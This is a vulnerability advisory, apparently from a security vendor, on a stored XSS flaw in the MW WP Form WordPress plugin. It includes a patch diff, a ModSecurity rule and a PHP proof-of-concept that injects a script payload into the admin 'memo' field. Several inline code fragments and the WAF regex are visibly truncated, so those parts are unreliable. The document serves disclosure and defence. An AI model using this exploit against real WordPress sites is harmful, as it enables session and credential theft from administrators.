Atomic Edge analysis of CVE-2026-8853:
This vulnerability is a Stored Cross-Site Scripting (XSS) issue in the MW WP Form plugin for WordPress, affecting versions up to and including 5.1.3. The vulnerability resides in the contact data detail template and allows authenticated attackers with Editor-level access or higher to inject arbitrary web scripts via the ‘memo’ parameter. The stored script executes whenever a user accesses the injected page. The CVSS score is 4.4, indicating moderate severity.
The root cause is insufficient output escaping of the memo field in the template file `mw-wp-form/templates/contact-data/detail.php`. At line 77 of the vulnerable version, the code uses `get( ‘memo’ ); ?>` to render the memo value inside a `alert(1)
An attacker with Editor-level access can navigate to the Contact Data edit screen for an existing form submission, typically at `/wp-admin/post.php?post=&action=edit`. The attacker modifies the ‘memo’ field in the contact data meta box via a POST request. The memo parameter name is `mwf_inquiry_data[memo]`. The attacker sets the memo value to a malicious payload like `alert(document.cookie)
The patch modifies the single line in `mw-wp-form/templates/contact-data/detail.php` (line 77). The vulnerable code `get( ‘memo’ ); ?>` is replaced with `get( ‘memo’ ) ); ?>`. The `esc_textarea()` function is a WordPress core function that performs both input sanitization and output escaping specifically designed for textarea content. It encodes special characters. Before the patch, the raw value was output unsafely. After the patch, any HTML or script tags in the memo are encoded into harmless HTML entities, preventing the XSS from breaking out of the textarea.
Successful exploitation allows an attacker to inject arbitrary JavaScript into the WordPress admin panel. This can lead to session hijacking (cookie theft), credential theft via fake login forms, redirection to malicious sites, defacement of admin pages, or privilege escalation if the injected script creates new admin users. The attack impacts the confidentiality and integrity of the WordPress installation.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/mw-wp-form/mw-wp-form.php
+++ b/mw-wp-form/mw-wp-form.php
@@ -3,7 +3,7 @@
* Plugin Name: MW WP Form
* Plugin URI: https://mw-wp-form.web-soudan.co.jp
* Description: MW WP Form is shortcode base contact form plugin. This plugin have many features. For example you can use many validation rules, inquiry data saving, and chart aggregation using saved inquiry data.
- * Version: 5.1.3
+ * Version: 5.1.4
* Requires at least: 6.0
* Requires PHP: 8.0
* Author: websoudan
--- a/mw-wp-form/templates/contact-data/detail.php
+++ b/mw-wp-form/templates/contact-data/detail.php
@@ -74,6 +74,6 @@
</tr>
<tr>
<th><?php esc_html_e( 'Memo', 'mw-wp-form' ); ?></th>
- <td><textarea name="<?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]" cols="50" rows="5"><?php echo $contact_data_setting->get( 'memo' ); ?></textarea></td>
+ <td><textarea name="<?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]" cols="50" rows="5"><?php echo esc_textarea( $contact_data_setting->get( 'memo' ) ); ?></textarea></td>
</tr>
</table>
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8853
# Virtual patch for MW WP Form stored XSS via 'memo' parameter in admin post.php
SecRule REQUEST_URI "@streq /wp-admin/post.php"
"id:20268853,phase:2,deny,status:403,chain,msg:'CVE-2026-8853 MW WP Form Stored XSS via memo parameter',severity:'CRITICAL',tag:'CVE-2026-8853'"
SecRule ARGS_POST:action "@streq editpost" "chain"
SecRule ARGS_POST:mwf_inquiry_data__memo "@rx </textareas*>"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8853 - MW WP Form <= 5.1.3 - Authenticated (Editor+) Stored XSS via 'memo' Parameter
// Configuration
$target_url = 'http://example.com/wordpress'; // Change this to the target WordPress URL
$admin_cookies = 'wordpress_logged_in_xxx=value; wordpress_sec_xxx=value; wp-settings-1=...'; // Editor/admin session cookies
$post_id = 123; // ID of an existing contact data post (you can find this from the admin)
// XSS payload: close the textarea and inject a script, then reopen textarea to preserve the rest of the page
$payload = '</textarea><script>alert("XSS by Atomic Edge");</script><textarea>';
// Step 1: Update the memo via the admin post.php update action
$url = $target_url . '/wp-admin/post.php';
$post_data = array(
'post_ID' => $post_id,
'action' => 'editpost',
'mwf_inquiry_data' => array(
'memo' => $payload
),
'original_post_status' => 'draft', // adjust as needed
'_wpnonce' => '', // In a real scenario, you would fetch the nonce from the edit page, but for demo we skip nonce validation if possible
'_wp_http_referer' => '/wp-admin/post.php?post=' . $post_id . '&action=edit',
'meta_box_nonce' => '',
);
// We'll use curl to send the request with session cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIE, $admin_cookies);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
if ($http_code == 200 || $http_code == 302) {
echo "[+] Memo updated with XSS payload. Visit the contact data detail page to trigger." . "n";
echo "[+] Detail URL: " . $target_url . "/wp-admin/admin.php?page=mw-wp-form-contact-data&post_id=" . $post_id . "n";
} else {
echo "[-] Failed to update memo. HTTP code: " . $http_code . "n";
}
// Note: WordPress requires a valid nonce for the editpost action.
// This PoC assumes the attacker has access to a valid nonce (e.g., by first loading the edit page).
// For full automation, replace '_wpnonce' with the actual nonce value.
?>